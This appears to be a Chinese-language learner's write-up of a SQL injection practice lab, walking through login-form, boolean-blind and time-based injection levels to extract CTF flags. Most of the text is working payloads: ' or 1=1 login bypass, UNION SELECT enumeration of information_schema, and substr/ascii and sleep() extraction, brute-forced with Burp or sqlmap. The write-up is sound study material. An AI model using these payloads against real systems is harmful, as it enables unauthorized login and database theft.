post注入

post传参类型的注入,与get注入很像。
post注入经常出现在登录框且通常是字符型。

靶场演练

Pass-05

1
构造' or 1=1 -- a

image-20231203235002355

成功登录,判断的我们的输入的数据有被当做SQL语句执行。

构造

1
2
' or 1=1 order by 3 -- a登录成功
' or 1=1 order by 4 -- a登录失败

image-20231203235507831

image-20231203235522392

判断页面有三个字段

暴库名

构造

1
'union select 1,2,database() -- a

image-20231203235836781

暴表名

构造

1
'union select 1,2,table_name from information_Schema.tables where table_schema=database() limit 0,1 -- a

image-20231204000043649

暴字段

构造

1
'union select 1,2,column_name from information_Schema.columns where table_schema=database() and table_name='flag' limit 0,1 -- a

image-20231204000233425

查数据

构造

1
'union select 1,2,flag from flag limit 0,1 -- a

image-20231204000318767

pass-06

构造

1
") or 1=1 -- a

image-20231204000459286

成功登录,判断我们输入的数据能被当做SQL语句执行

构造

1
2
") or 1=1 order by 3 -- a    //成功登录
") or 1=1 order by 4 -- a //登录失败

判断有3个字段

暴库名

构造

1
") union select 1,2,database() -- a

image-20231204000742714

暴表名

构造

1
") union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 -- a

image-20231204000927928

暴字段

构造

1
") union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1 -- a

image-20231204001117175

查数据

构造

1
") union select 1,2,flag from flag limit 1,1-- a

image-20231204001316896

head注入

pass-07

俺还不会,先欠着…

pass-08

俺还不会,先欠着…

pass-09

俺还不会,先欠着…

布尔盲注

pass-10

构造

1
2
and 1=1 //页面正常
and 1=2 //报错

image-20231205233153710

页面报错,判断输入的数据能被当做SQL语句执行

页面无显示位

构造

1
2
and length(database())>11 //页面正常
and length(database())>11 //页面报错,判断数据库名长度为12

image-20231205233649115

爆库名

构造

1
and substr(database(),1,1)='a'

并用burp抓包进行爆破

image-20231205234620971

得到数据库名为’kanwolongxia’

构造

1
2
3
4
5
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //有一张名称长度为6的表

and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4 //有一张名称长度为4的表

and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=4 //有一张名称长度为4的表

爆表名

构造

1
and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'

并用burp抓包进行爆破

image-20231206001838233

第一张表的表名为loflag

image-20231206001951983

第二张表名为news

image-20231206002036712

第三张表名为user

爆字段

构造

1
2
3
and length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2 //有一个名称长度为2的字段

and length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 1,1))=6 //有一个名称长度为6的字段

构造

1
and substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1)='a'

并用burp抓包进行爆破

image-20231206002925181

第一个字段名是’id’

image-20231206003007462

第二个字段名是’flaglo’

构造

1
and ascii(substr((select flaglo from loflag limit 0,1),1,1))='65'

并用burp抓包爆破

image-20231206003912910

找到数据zKaQ-QQQ

image-20231206004101515

Pass-11

构造

1
2
" and 1=1 -- a" //有数据
" and 1=2 -- a" //无数据

判断输入的数据能被当做SQL语句执行

判断数据库名字长度

构造

1
" and length(database())=12 -- a"

image-20231206123240728

有数据,判断数据库名称长度为12

爆库名

构造

1
"and substr(database(),1,1)='a' -- a

并用burp抓包,进行爆破

image-20231206123556427

的到数据库库名”kanwolongxia“

爆表明

构造

1
2
3
4
5
"and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 -- a //有一张名称长度为6的表

"and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4 -- a//有一张名称长度为4的表

"and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=4 -- a //有一张名称长度为4的表

构造

1
"and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' -- a

并用burp 抓包爆破

image-20231206124110515

第一张表名为“loflag”

image-20231206124214529

第二张表名为“news”

image-20231206124300048

第三张表名为“user”

查字段

构造

1
2
3
"and length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2 -- a //有一个名称长度为2的字段

"and length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 1,1))=6 -- a //有一个名称长度为6的字段

构造

1
"and substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1)='a' -- a

并用burp抓包,爆破字段名

image-20231206125306285

第一个字段是“id”

image-20231206125402336

第二个字段是“flaglo”

查数据

构造

1
"and ascii(substr((select flaglo from loflag limit 0,1),1,1))='65' -- a //查询flaglo字段下的内容

image-20231206130055005

查到数据zKaQ RD 加上缺少的5则flag为“zKaQ-RD”

image-20231206130259500

flag正确

Pass-12

构造

1
2
' or 1=1 -- a //登录成功
' or 1=2 -- a //登录失败

image-20231206221540631

判断输入的数据可以被当作SQL语句执行

判断数据库名称长度

构造

1
' or length(database())=12 -- a //登录成功,判断数据库名长度为12

image-20231206222358123

构造

1
'or substr(database(),1,1)='a' -- a 

并用burp抓包,爆破出数据库名字

image-20231206223212526

数据库名为”kanwolongxia“

构造

1
2
3
4
5
'or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 -- a //有一张名称长度为6的表

'or length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4 -- a //有一张长度为4的表

'or length((select table_name from information_schema.tables where table_schema=database() limit 2,1)) =4-- a //有一张长度为4的表

构造

1
'or substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' -- a//

并用burp抓包,进行爆破

image-20231206224604721

第一张表的名字为‘lofalg’

image-20231206224703621

第二张表的名字为‘news’

image-20231206224747069

第三张表的名字为‘user’

构造

1
2
'or length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2 -- a //有一个名称长度为2的字段
'or length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 1,1))=6 -- a //有一个名称长度为6的字段

构造

1
'or substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1)='a' -- a

并用burp爆破

image-20231206225428949

第一个字段名是‘id’

image-20231206225532188

第一个字段名是‘flaglo’

构造

1
'or length((select flaglo from loflag limit 2,1))=10 -- a' //登录成功

构造

1
'or ascii(substr((select flaglo from loflag limit 0,1),2,1))='65' -- a //查询flaglo字段下的内容

image-20231206231110402

得到内容’zKaQMoren’则flag为”zKaQ-Moren“

image-20231206231329877

Pass-10~12总结

Pass-10、Pass-11、Pass-12三题库名一样,表名一样,字段名一样、flaglo字段下面存放的三个flag分别对应Pass-10、Pass-11、Pass-12三题

延时注入

Pass-13

url后面拼接

1
"and sleep(5) -- a //页面反应有延时,判断存在时间注入

image-20231212195317179

构造

1
"and if(length(database())=12,sleep(5),1) -- a //页面反映有延时,判断数据库名称长度为12

image-20231222235927425

构造

1
"and if(substr(database(),1,1)='k',sleep(5),1) -- a

image-20231223000414528

bp爆破得到库名为’kanwolongxia’

构造

1
2
3
"and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))=6,sleep(5),1) -- a"//页面延时,判断有一个表名长度为6
"and if(length((select table_name from information_schema.tables where table_schema = database() limit 1,1))=6,sleep(5),1) -- a"//页面延时,判断有一个表名长度为6
"and if(length((select table_name from information_schema.tables where table_schema = database() limit 1,1))=6,sleep(5),1) -- a"//页面延时,判断有一个表名长度为4

构造

1
"and if(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)='a',sleep(5),1) -- a"

bp爆破

image-20231223003142468

得到三个表名分别为‘loflag’、‘news’、‘uesr’

构造

1
2
"and if(length((select column_name from information_schema.columns where table_schema = database() and table_name='loflag' limit 0,1))=2,sleep(5),1) -- a" //页面延时,有一个长度为2的字段
"and if(length((select column_name from information_schema.columns where table_schema = database() and table_name='loflag' limit 1,1))=6,sleep(5),1) -- a" //页面延时,有一个长度为6的字段

构造

1
"and if(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'loflag' limit 0,1),1,1)='a',sleep(5),1) -- a"

bp爆破

image-20231223004153658

两个字段分别为‘id’、‘flaglo’

构造

1
构造"and if(ascii(substr((select flaglo from loflag limit 0,1),1,1))=122,sleep(5),1) -- a""

bp爆破

image-20231223011646366

得到’zKaQ QQQ’则flag为‘zKaQQQ’

image-20231223111344205

得到‘zKaQ-RD’

image-20231223111630621

得到‘zKaQ-Moren’

image-20231223111902301

得到‘zKaQ-time-hj’

image-20231223112055645

得到‘zKaQ-time-zxxz’

Pass-14

Pass-14与Pass-13只有闭合方式不同,其他的都相同

这里我就偷懒用sqlmap跑了img

爆库名

image-20231223114131511

爆表名

image-20231223114322422

爆字段

image-20231223114733870

查数据

image-20231223115527232